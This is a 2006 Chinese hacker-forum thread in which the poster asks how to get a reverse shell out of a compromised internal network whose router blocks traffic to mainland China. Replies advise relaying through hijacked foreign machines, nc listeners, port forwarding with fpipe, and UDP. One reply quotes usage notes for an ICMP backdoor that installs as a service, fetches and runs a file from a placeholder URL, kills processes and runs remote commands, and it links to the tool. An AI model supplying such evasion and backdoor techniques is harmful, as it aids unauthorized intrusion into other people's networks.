议题作者：nowthk
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

内部网络,可以ping出www.163.com的ip地址，说明dns还没有设置错，初步分析得出可以上网。

但反弹的时候，一直连接不上自己监听的端口。

而且又如下进行测试，写了一个工具是专门探测连接某ip的端口是否存在，仍然拿www.163.com的ip测试，直接连接此163网易IP的80端口，显示关闭。说明连网易的80端口都不可以连接(但可以ping出IP)

再次分析,可能把大陆的端口封掉,因为netstat -an,里有连接他们国家的80和443(https)端口，说明上网是没有问题的.

最后分析,可能是因为路由禁止了大陆的tcp通信,udp和icmp包还不确定.

现在,我的目的只是反弹,各位有什么好的建议，突破一下，我相信大家玩得多了，估计把人家的网络也“逼”成这样子了吧。。呵呵，突破这点对我们来说也是一种突破呵。

找个国外肉鸡弹过去就完了

引用:

这里是引用第[1 楼]的goodopell于2006-05-11 07:31发表的：
找个国外肉鸡弹过去就完了

要找个就不要这么多费话了，这不是解决办法，换个换个。

他的网络对大陆的通信做了限制，但是你可以访问到他的网络，那就用NC在他的机器上本地监听，你去连一下吧，连不上的就用端口转发或是复用吧。 [s:37] 不知道有没有效果呢 [s:75]

可以ping通不代表可以访问外网...


看看他的dns是什么IP,再看看他的网关IP,也许他只是可以访问dns的IP而已..

引用:

这里是引用第[4 楼]的风蓝于2006-05-11 14:07发表的：
可以ping通不代表可以访问外网...


看看他的dns是什么IP,再看看他的网关IP,也许他只是可以访问dns的IP而已..

请问,你是怎么判断某机器可以上网的.

引用:

这里是引用第[3 楼]的逝水于2006-05-11 13:53发表的：
他的网络对大陆的通信做了限制，但是你可以访问到他的网络，那就用NC在他的机器上本地监听，你去连一下吧，连不上的就用端口转发或是复用吧。 [s:37] 不知道有没有效果呢 [s:75]

大哥可能这方面玩得少,在本地自己的端口转发,你能保证把你监听的端口从路由映射出来吗?呵呵,需要路由吧。。那干脆再进行一个路由入侵了。。

引用:

这里是引用第[6 楼]的nowthk于2006-05-11 22:11发表的：


大哥可能这方面玩得少,在本地自己的端口转发,你能保证把你监听的端口从路由映射出来吗?呵呵,需要路由吧。。那干脆再进行一个路由入侵了。。

呵呵。你没理解我的意思，转发的端口当然是你能访问到的那些了，在他服务器上监听的端口当然是访问不了的 。我说的转发是把他监听的端口转发成他外网能访问的那个端口。

引用:

这里是引用第[7 楼]的逝水于2006-05-11 23:33发表的：Re:[讨论]Look~~内网反弹问题


呵呵。你没理解我的意思，转发的端口当然是你能访问到的那些了，在他服务器上监听的端口当然是访问不了的 。我说的转发是把他监听的端口转发成他外网能访问的那个端口。

嗯，呵呵，现在我的目的要的就是这个，这不是我提问的问题嘛。:)

我记得有一种后门，用叫ICMPdoor,,这种东西。。。我还没有找到，而且我不清楚，是不是可以用icmp通信来转发端口  [s:73]

引用:

这里是引用第[9 楼]的nowthk于2006-05-12 00:14发表的：
我记得有一种后门，用叫ICMPdoor,,这种东西。。。我还没有找到，而且我不清楚，是不是可以用icmp通信来转发端口  [s:73]

ICMPdoor只是一种以icmp的通信方式的后门。不开端口。没有转发功能。其实用fpipe就可以了。
=============================================================
本后门利用ICMP数据包进行通信，。安装成系统服务，开机自动运行。可以穿透一些防火墙。
icmpsrv.exe ：服务端程序，使用 -install（-remove御载）参数安装成服务。
icmpsend.exe ：客户端程序。使用icmpsend IP进行控制。
ICMP_Backdoor命令说明：
[http://xxx.xxx.xxx/admin.exe -hacker.exe]
http下载文件，保存在目标主机\\system32\目录下，文件名为hacker.exe（可改）。参数hacker.exe，前面的“-”不能省去
[pslist] 列出远程主机的进程名称和pid
[pskill id] 杀进程号为id的进程
输入普通cmd命令，则远程主机执行相关命令。
=============================================================
http://www.eviloctal.com/forum/read.php?tid=4535工具在这里有下，呵呵。，没注意吧，
[s:37]

你找个国外的肉鸡作个端口重定向这样不是可以么？

以前就朋到一个国外的站..不知道怎么屏蔽大陆的.不管用http还是其他种类的代理,
2级,3级都没办法访问到他的网站.
自能通过他同一个国家的3389肉鸡才可以访问到他的站. [s:75]

看他是从哪一层进行的屏蔽了。
至于icmpdoor 他可不是反弹的

[s:74] 同意风蓝的，能PING不一定能上网。

除了找肉鸡呢..?还有别的办法吗?

现在的判断是他的tcp通信，我感觉到只有他的公司的外网，其它的我不太确定。icmp是随便的,udp不确定~~

  [s:92]  [s:92] 不行再试试udp协议了